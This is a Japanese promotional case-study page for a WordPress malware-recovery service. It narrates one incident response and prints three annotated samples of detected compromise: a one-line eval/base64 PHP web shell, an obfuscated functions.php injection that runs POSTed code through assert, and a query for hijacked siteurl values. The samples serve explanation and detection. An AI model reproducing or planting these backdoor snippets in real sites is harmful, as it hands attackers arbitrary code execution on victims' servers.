WP-AIレスキューWP-AIレスキュー
Case File · WordPress 復旧現場

WordPress 侵害現場の記録、そのまま読ませてください。

ある夜に動いた WordPress 復旧の一件を、4章のドキュメンタリーで追跡します。 続けて、現場で実検出した3つのサンプル(ファイル系・テーマ系・DB 系)を、 実際の検出ロジックと注釈付きで公開します。
※ 守秘義務契約のため、サイト名・業種・URL は非公開とさせていただいています。

Photo: Bernd Dittrich / Unsplash

Case File · 2026.05.001

侵害発覚から完全復旧まで、2時間20分。

※ 本ケースは特定事例の実績です。所要時間はサイト規模・侵害深度・サーバ環境により大きく変動します。守秘義務契約のためサイト名・業種・URLは非公開とさせていただいています。

これは、ある夜に動いた一件のフィールドレポートです。 国内主要復旧業者5社の公表値の平均が「数日〜1週間」と言われる中で(当社調べ・2026年5月時点)、 なぜこの時間で終わったのか。 の4つの章に分けて、その夜の動きを追跡します。

深夜、複数のモニターと向き合うセキュリティオペレーターのイメージ

ある夜、午前2時。Slackに「ログインできません」の一行が届く。

Photo: A.F. Bedoya Interiano / Unsplash
Chapter 1 · Detection
Day 1
02:00 → 02:35

「サイトが転送される」一報、深夜2時。

顧客からSlackに一行: 『ログインできません、変なサイトに飛びます』。WATRIXのインシデントコマンダー(CMD)が起動、24体のAIエージェントが順次オンラインに。

受付からトリアージ完了
5分
侵害仮説の確定
10分
証拠保全(フルスナップショット)
15分
Chapter 2 · Containment
Day 1
02:35 → 03:00

封じ込めは、20分で完結した。

で攻撃元IP帯をブロック、wp-loginを一時的にIP制限、全ユーザーセッション破棄、WordPress SECRET KEY全更新。攻撃者の足場を1つずつ切っていく。

管理画面の一時的アクセス制限
完了
全Cookie無効化(SALT再発行)
完了
不正IPの遮断
完了
Chapter 3 · Recovery
Day 1
03:00 → 04:20

復旧と、横展開リスクの調査。

不正PHP3ファイル、不正DB管理者2名、不正wp_options 1件をすべて特定し除去。同FTPアカウント配下の他サイトにも同じ侵害が伝播していないか、チェック。

検出ファイル
3件
DB改ざんレコード
2件
横展開先サイト
0件(クリーン)
Chapter 4 · Hardening + Report
Day 2
翌朝〜午前中

再発防止と、28ページのPDFレポート。

脆弱なプラグインをアップデート、WAFルールを追加、二要素認証を全管理者に設定。同時に、レポート(PDF)を作成(侵害経路・影響範囲・対応工程・再発防止策・タイムライン)し、Slackと共有リンクで納品。

PDFレポートページ数
28p
再発防止策の数
11項目
個人情報保護委員会報告 草案
添付

朝、出社したらサイトは普通に動いていて、SlackにフォレンジックレポートのPDFが届いていた。

何が起きたのかも、何をされたのかも、ぜんぶ分かった。

— Day 2 朝、顧客サイト管理者の証言

Field Notes — WordPress 侵害現場ログ

「WordPress のマルウェア、
駆除しました」を、鵜呑みにしないでください。

他社で復旧が終わったあと、WP-AIレスキューにセカンドオピニオンを依頼すると、 こういう の見落とし が見つかることがあります。 WordPress の侵害現場で AI エージェントが実際に検出した、3つの典型サンプルです。

Sample 01 / 01 of 03

uploads配下に仕込まれた

📄 wp-content/uploads/2026/05/lk9d8f.php

本サンプルは演習環境で実検出されたもの。アクセスログを精査しないと、設置と実行が一致せず見落とされる。

lk9d8f.php
<?php
/* lk9d8f.php — 一見、単なる空ファイル。
   実態は、攻撃者が任意のPHPコードを実行できるバックドア。 */

if (isset($_REQUEST["c"])) {
  @eval(base64_decode($_REQUEST["c"]));
}
//↑ この3行で、サイト全体が攻撃者のものになる。
Sample 02 / 02 of 03

テーマfunctions.phpへの「自動再生成」型注入

📄 wp-content/themes/twentytwentyfour/functions.php

「ファイル名は変えられない、中身だけ汚染」型。テーマ更新で消すと管理画面ごと壊れるため、行範囲特定が必須。

functions.php
// — 末尾に静かに追記される、難読化された再注入トリガー —
$_HK = "Z3ppbmZsYXRl";  // = "gzinflate"
@${$_HK = base64_decode($_HK)};  // 動的関数解決
if (isset($_GET["x"]) && $_GET["x"] === "ping") {
  @assert($_POST["p"] ?? "true");  // 任意コード実行
}
Sample 03 / 03 of 03

wp_options への「リダイレクトハイジャック」

📄 wp_options.siteurl / wp_options._evil_url

ファイル系のスキャンだけでは絶対に見つからない。DBクエリでの直接照合が必要。

wp_options._evil_url
-- DB上の設定値が、ある日こうなっている。
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home');

-- option_value がこっそり外部ドメインに書き換わると、
-- ログイン画面まで攻撃者制御サーバへリダイレクトされる。

WordPress への侵害は、「気付かれにくい場所」に潜みます。

人手で1ファイルずつ目視している限り、見落としは生まれやすくなります。 24体の AI エージェントが 同時並列で 全ファイル・全 DB レコード・全アクセスログを照合し、 「この1行だけ怪しい」を徹底的に拾い上げる——これが WP-AIレスキューのアプローチです。

自社の WordPress も、確かめておきませんか。

同じような侵害は、決して他人事ではありません。サイト URL を1行いただければ、まずは現状を見立てます。

URL1行で無料診断を始める